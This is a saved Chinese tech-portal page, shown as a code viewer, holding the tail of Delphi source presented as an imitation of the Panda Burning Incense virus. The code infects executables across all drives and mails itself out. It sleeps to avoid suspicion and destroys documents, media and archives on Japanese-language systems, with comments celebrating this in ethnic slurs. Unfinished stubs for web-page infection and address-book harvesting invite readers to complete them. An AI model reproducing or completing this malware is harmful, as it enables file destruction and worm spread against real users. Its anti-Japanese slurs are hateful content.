📄 熊猫烧香核心源码(delphi模仿版本)-开发者网络-熊猫烧香-天极yesky-.htm
字号:
faAnyFile, SearchRec) = 0) then<BR> begin<BR>
repeat<BR> PeekMessage(Msg, 0, 0, 0, PM_REMOVE);
//调整消息队列，避免引起怀疑<BR> if IsValidDir(SearchRec) = 0
then<BR> begin<BR> Fn := Path +
SearchRec.Name;<BR> Ext :=
UpperCase(ExtractFileExt(Fn));<BR> if (Ext = '.EXE')
or (Ext = '.SCR') then<BR> begin<BR>
InfectOneFile(Fn); //感染可执行文件
<BR> end<BR> else if (Ext
= '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then<BR>
begin<BR>
//感染HTML和ASP文件，将Base64编码后的病毒写入<BR>
//感染浏览此网页的所有用户<BR> //哪位大兄弟愿意完成之？<BR>
end<BR> else if Ext = '.WAB'
then //Outlook地址簿文件<BR> begin<BR>
//获取Outlook邮件地址<BR> end<BR>
else if Ext = '.ADC' then //Foxmail地址自动完成文件<BR>
begin<BR>
//获取Foxmail邮件地址<BR> end<BR>
else if Ext = 'IND' then //Foxmail地址簿文件<BR>
begin<BR> //获取Foxmail邮件地址<BR>
end<BR> else <BR>
begin<BR> if IsJap then
//是倭文操作系统<BR> begin<BR>
if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB')
or<BR> (Ext = '.MP3') or (Ext =
'.RM') or (Ext = '.RA') or<BR>
(Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or<BR>
(Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG')
or<BR> (Ext = '.JPEG') or (Ext =
'.GIF') or (Ext = '.SWF') or<BR>
(Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then<BR>
SmashFile(Fn); //摧毁文件<BR>
end;<BR> end;<BR>
end;<BR> //感染或删除一个文件后睡眠200毫秒，避免CPU占用率过高引起怀疑<BR>
Sleep(200);<BR> until (FindNext(SearchRec) <>
0);<BR> end;<BR> FindClose(SearchRec);<BR> SubDir :=
TStringList.Create;<BR> if (FindFirst(Path + '*.*', faDirectory,
SearchRec) = 0) then<BR> begin<BR> repeat<BR>
if IsValidDir(SearchRec) = 1 then<BR>
SubDir.Add(SearchRec.Name);<BR> until (FindNext(SearchRec) <>
0);<BR> end;<BR> FindClose(SearchRec);<BR> Count :=
SubDir.Count - 1;<BR> for i := 0 to Count do<BR>
LoopFiles(Path + SubDir.Strings[i] + '', Mask);<BR>
FreeAndNil(SubDir);<BR>end;<BR>{ 遍历磁盘上所有的文件 }<BR>procedure InfectFiles;
<P>var<BR> DriverList: string;<BR> i, Len:
Integer;<BR>begin<BR> if GetACP = 932 then //日文操作系统<BR> IsJap
:= True; //去死吧！<BR> DriverList := GetDrives; //得到可写的磁盘列表<BR> Len :=
Length(DriverList);<BR> while True do //死循环<BR> begin<BR>
for i := Len downto 1 do //遍历每个磁盘驱动器<BR>
LoopFiles(DriverList[i] + ':', '*.*'); //感染之<BR> SendMail;
//发带毒邮件<BR> Sleep(1000 * 60 * 5); //睡眠5分钟<BR>
end;<BR>end;<BR>{ 主程序开始 }<BR>begin<BR> if IsWin9x then //是Win9x<BR>
RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程<BR> else
//WinNT<BR> begin<BR> //远程线程映射到Explorer进程<BR>
//哪位兄台愿意完成之？<BR> end;<BR> //如果是原始病毒体自己<BR> if
CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then<BR>
InfectFiles //感染和发邮件<BR> else //已寄生于宿主程序上了，开始工作<BR>
begin<BR> TmpFile := ParamStr(0); //创建临时文件<BR>
Delete(TmpFile, Length(TmpFile) - 4, 4);<BR> TmpFile := TmpFile +
#32 + '.exe'; //真正的宿主文件，多一个空格<BR> ExtractFile(TmpFile);
//分离之<BR> FillStartupInfo(Si, SW_SHOWDEFAULT);<BR>
CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,<BR>
0, nil, '.', Si, Pi); //创建新进程运行之<BR> InfectFiles;
//感染和发邮件<BR> end;<BR>end.</P><BR> 阅读关于 <A
href="http://search.yesky.com/search?q=%D0%DC%C3%A8%C9%D5%CF%E3"
target=_blank><FONT color=red>熊猫烧香</FONT></A> <A
href="http://search.yesky.com/search?q=%D4%B4%C2%EB" target=_blank><FONT
color=red>源码</FONT></A> <A href="http://search.yesky.com/search?q=Delphi"
target=_blank><FONT color=red>Delphi</FONT></A> <A
href="http://search.yesky.com/search?q=%BF%AA%B7%A2%D5%DF" target=_blank><FONT
color=red>开发者</FONT></A> 的全部文章 </DIV><!--广告代码开始-->
<SCRIPT>
var ad_cid;
if (window.location.search.substring(1) != "")
{
ad_cid = window.location.search.substring(1);
} else {
ad_cid = 412;
}
</SCRIPT>
<!--小通栏：c-scolumn顶部500*90--><SPAN id=span_ad1>
<SCRIPT language=JavaScript>
document.write("<script src=\"http://vd.yesky.com/html/"+ad_cid+"/"+ad_cid+"_c-scolumn.js\"><\/script>");</SCRIPT>
</SPAN>
<SCRIPT language=JavaScript>
document.getElementById("ad1").innerHTML=document.getElementById("span_ad1").innerHTML;
document.getElementById("span_ad1").innerHTML="";
</SCRIPT>
<!--c-pip文章正文中间240*200--><SPAN id=span_ad3>
<SCRIPT language=JavaScript>
document.write("<script src=\"http://vd.yesky.com/html/"+ad_cid+"/"+ad_cid+"_c-pip.js\"><\/script>");</SCRIPT>
</SPAN>
<SCRIPT>
if(document.getElementById("contentAdv")) {
document.getElementById("contentAdv").innerHTML=document.getElementById("span_ad3").innerHTML;
document.getElementById("span_ad3").innerHTML="";
} else {
document.getElementById("ad3").innerHTML=document.getElementById("span_ad3").innerHTML;
document.getElementById("span_ad3").innerHTML="";
}</SCRIPT>
<!--c-text-1“您现在的位置”右侧文字--><SPAN id=span_ad2>
<SCRIPT language=JavaScript>
document.write("<script src=\"http://vd.yesky.com/html/"+ad_cid+"/"+ad_cid+"_c-text-1.js\"><\/script>");</SCRIPT>
</SPAN>
<SCRIPT language=JavaScript>
document.getElementById("ad2").innerHTML=document.getElementById("span_ad2").innerHTML;
document.getElementById("span_ad2").innerHTML="";
</SCRIPT>
<!--c-column-2“标题”上面的广告--><SPAN id=span_ad10>
<SCRIPT language=JavaScript>
document.write("<script src=\"http://vd.yesky.com/html/"+ad_cid+"/"+ad_cid+"_c-column-2.js\"><\/script>");</SCRIPT>
</SPAN>
<SCRIPT language=JavaScript>
document.getElementById("ad10").innerHTML=document.getElementById("span_ad10").innerHTML;
document.getElementById("span_ad10").innerHTML="";
</SCRIPT>
<!--c-column-1“摘要”下面的广告--><SPAN id=span_ad9>
<DIV id=ad9ad>
<SCRIPT language=JavaScript>
document.write("<script src=\"http://vd.yesky.com/html/"+ad_cid+"/"+ad_cid+"_c-column-1.js\"><\/script>");</SCRIPT>
</DIV></SPAN>
<SCRIPT language=JavaScript>
document.getElementById("ad9").innerHTML=document.getElementById("span_ad9").innerHTML;
document.getElementById("span_ad9").innerHTML="";
</SCRIPT>
<!--广告代码结束-->
<DIV id=ad7ad><SPAN id=ad7></SPAN></DIV>
<DIV class=clear></DIV>
<DIV id=conlink>
<SCRIPT type=text/javascript>var clipBoardContent = document.URL; function copyUserHomeToClipBoard() { window.clipboardData.setData("Text",clipBoardContent); alert("复制成功，请粘贴到你的QQ/MSN上推荐给你的好友！\r\n\r\n内容如下：\r\n" + clipBoardContent); }</SCRIPT>
<SCRIPT type=text/javascript>document.write("<a href=http://bbs.yesky.com/ding/ding.php?t="+encodeURIComponent(document.title)+"&u="+escape(document.location.href)+"&ac=ding"+" target=_blank><b>我顶一下</b></a> <a href=\"#top\" target=\"_self\"><a href=\"javascript:d=document;t=d.selection?(d.selection.type!='None'?d.selection.createRange().text:''):(d.getSelection?d.getSelection():'');void(yesky=window.open('http://hot.yesky.com/dp.aspx?t='+escape(d.title)+'&u='+escape(d.location.href)+'&c='+escape(t)+'&st=2','_blank','scrollbars=no,width=400,height=480,left=75,top=20,status=no,resizable=yes'));yesky.focus();\"title=\"推荐到天极网摘 http://hot.yesky.com [鼠标划选本文摘要，然后点击本图片]\" target=\"_self\">收藏到天极收藏夹</a> ");document.write(" <a href=\"JavaScript: copyUserHomeToClipBoard()\" target=\"_self\">复制链接发给好友</a> <a href=\"javascript:window.external.AddFavorite('"+clipBoardContent+"')\" target=\"_self\">加入收藏</a> <a href=\"javascript:window.print()\" target=\"_self\">打印</a> <img src=\"/TLimages/newmobile/titlebg19.gif\" title=\"返回顶部\"/></a>");</SCRIPT>
</DIV>
<DIV class=clear></DIV><!--评论-->
<SCRIPT language=JavaScript>
<!--
var aid = 3071190;
var channelid = 324;
var tagname = "熊猫烧香核心源码(Delphi模仿版本)";
//-->
</SCRIPT>
<SCRIPT language=JavaScript>
if(typeof(channelid) != "undefined") {
document.write("<script language=\"JavaScript\" charset=\"gb2312\" src=\"http://comments.yesky.com/channlereview/6/"+(channelid%5000)+"/"+channelid+".js\"><\/script>");
}
</SCRIPT>
<SCRIPT language=javascript>
<!--
if(typeof(aid) != "undefined") {
document.write("<script language=\"JavaScript\" charset=\"gb2312\" src=\"http://comments.yesky.com/articlereplies/6/"+(aid%5000)+"/"+aid+".js\"><\/script>");
}
//-->
</SCRIPT>
<SCRIPT src="熊猫烧香核心源码(Delphi模仿版本)-开发者网络-熊猫烧香-天极Yesky-_files/mobile_comment.js"
type=text/javascript></SCRIPT>
<DIV class=clear></DIV><!--相关文章等-->
<DIV id=conrele>
<DIV class=xgleft id=__002>
<DIV class=xgmenus>相关文章</DIV>
<DT></DT>
<DD>·<A href="http://dev.yesky.com/223/3071223.shtml">如何恢复/修复MS
SQL数据库的MDF文件</A></DD>
<DD>·<A
href="http://dev.yesky.com/193/3071193.shtml">谈函数指针(全局/类成员函数)和函数对象</A></DD>
<DD>·<A
href="http://homepage.yesky.com/105/3071105.shtml">新知：交换友情链接常见的两大误区</A></DD>
<DD>·<A href="http://homepage.yesky.com/103/3071103.shtml">从无到有
新网站流量快速提高实战</A></DD>
<DD>·<A href="http://homepage.yesky.com/100/3071100.shtml">用ASP实现自动解压RAR文件的功能
</A></DD>
<DD>·<A href="http://homepage.yesky.com/98/3071098.shtml">谈谈网站网页设计中的功能与美化</A>
</DD></DIV>
<DIV class=xgright id=__003>
<DIV class=xgmenus>最新更新</DIV>
<DT></DT>
<DD>·<A
href="http://soft.yesky.com/237/3130237.shtml">2007微软娱乐及设备事业部渠道大会隆重召开</A></DD>
<DD>·<A
href="http://soft.yesky.com/security/aqzxx/151/3130151.shtml">美国组建”黑客部队“预防网络911事件</A></DD>
<DD>·<A href="http://soft.yesky.com/12/3130012.shtml">数据加密低成本 轻松铸就黄金甲</A></DD>
<DD>·<A href="http://soft.yesky.com/451/3129951.shtml">希腊选择爱立信提供整体解决方案</A></DD>
<DD>·<A href="http://soft.yesky.com/446/3129946.shtml">用友软件开放标准
与IBM合作走向新市场</A></DD>
<DD>·<A href="http://os.yesky.com/windowsvista/323/3129823.shtml">Windows
Vista的十个实用“运行”命令</A> </DD></DIV></DIV>
<DIV class=clear></DIV><!--天极无线-->
<DIV class=conpict>天极无线</DIV>
<DIV>
<DIV style="FLOAT: left; WIDTH: 646px">
<DIV style="FLOAT: left; MARGIN-LEFT: 3px"><A
href="http://www.my5757.com/web/mf/mf.jsp" alt="隐身交友社区"><IMG
src="熊猫烧香核心源码(Delphi模仿版本)-开发者网络-熊猫烧香-天极Yesky-_files/wx2.jpg"></A></DIV>
<DIV style="FLOAT: right; MARGIN-RIGHT: 3px"><A href="http://union.yesky.com/"
alt="天极彩信联盟"><IMG
src="熊猫烧香核心源码(Delphi模仿版本)-开发者网络-熊猫烧香-天极Yesky-_files/wx1.jpg"></A></DIV></DIV></DIV></DIV><!--右边开始-->
<DIV id=conright>
<DIV id=adgg5>
<SCRIPT language=JavaScript>
document.write("<script src=\"http://vd.yesky.com/html/"+ad_cid+"/"+ad_cid+"_c-pip1.js\"><\/script>");</SCRIPT>
</DIV>
<DIV class=clear></DIV><!--地区经销商-->
<SCRIPT language=JavaScript>
<!--
var catalogid=-1;
//else if(pid > 0){catalogid=pid;}
//else if(regionid>0){catalogid=regionid;}
if(typeof(catalogid) != "undefined" &&catalogid!=-1) {
document.write("<script language=\"JavaScript\" charset=\"gb2312\" src=\"http://www.yesky.com/productjs/specdealer/"+catalogid+"_specdealer.js\"><\/script>");
}
//-->
</SCRIPT>
<SCRIPT language=JavaScript
src="熊猫烧香核心源码(Delphi模仿版本)-开发者网络-熊猫烧香-天极Yesky-_files/mobile_cojxs.js"></SCRIPT>
<DIV class=clear></DIV><!--此文读者又读了以下内容-->
<DIV id=__004>
<DIV class=conrtbox>
<DIV class=menu>关注此文读者还看过</DIV>
<DIV class=conqldq>
<DT></DT>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -